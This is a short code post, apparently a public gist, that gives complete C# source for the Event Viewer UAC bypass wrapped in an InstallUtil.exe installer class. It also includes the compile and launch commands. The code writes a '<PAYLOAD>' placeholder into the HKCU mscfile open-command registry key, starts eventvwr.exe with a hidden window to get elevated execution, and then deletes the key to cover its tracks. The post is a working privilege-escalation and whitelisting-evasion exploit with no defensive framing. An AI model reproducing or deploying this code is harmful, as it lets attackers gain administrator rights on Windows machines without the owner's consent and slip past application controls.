opexxx
5/10/2017 - 5:18 PM

Event Viewer UAC Bypass in CSharp for use with InstallUtil.exe

Event Viewer UAC Bypass in CSharp for use with InstallUtil.exe

using System;
using System.Linq;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

using Microsoft.Win32;
/*
InstallUtil.exe C# version of Event Viewer UAC bypass

Credits:
- @subTee for InstallUtil technique 
- @enigma0x3 for Event Viewer UAC bypass
	https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe EventVwrBypass.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U EventVwrBypass.exe"
*/
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer {
	public override void Uninstall(System.Collections.IDictionary savedState) {

		Console.WriteLine("Hello There From Uninstall");
		Unlocker.Exec();
	}
}
public class Unlocker {
	public static void Main() {
		Console.WriteLine("Hello from Main");
	}
	
	public static void Exec() {
		
		RegistryKey key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Classes\mscfile\shell\open\command", true);
		key.SetValue("", "<PAYLOAD>", Microsoft.Win32.RegistryValueKind.String);
		key.Close();
		
		Console.WriteLine("Key has been created");
		
		System.Diagnostics.Process p = new System.Diagnostics.Process();
		p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
		p.StartInfo.FileName = @"C:\Windows\System32\eventvwr.exe";
		p.Start();
		
		Console.WriteLine("Event Viewer is starting up");

		System.Threading.Thread.Sleep(5000);
		
		try {
			p.Kill();
			Console.WriteLine("Killing Event Viewer");
		}
		catch(Exception ex) {
			Console.WriteLine("Event Viewer no longer running");
		}

		Console.WriteLine("Cleaning up...");
		key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Classes", true);
		key.DeleteSubKeyTree("mscfile");
		key.Close();
		
		Console.WriteLine("Complete");
	}
}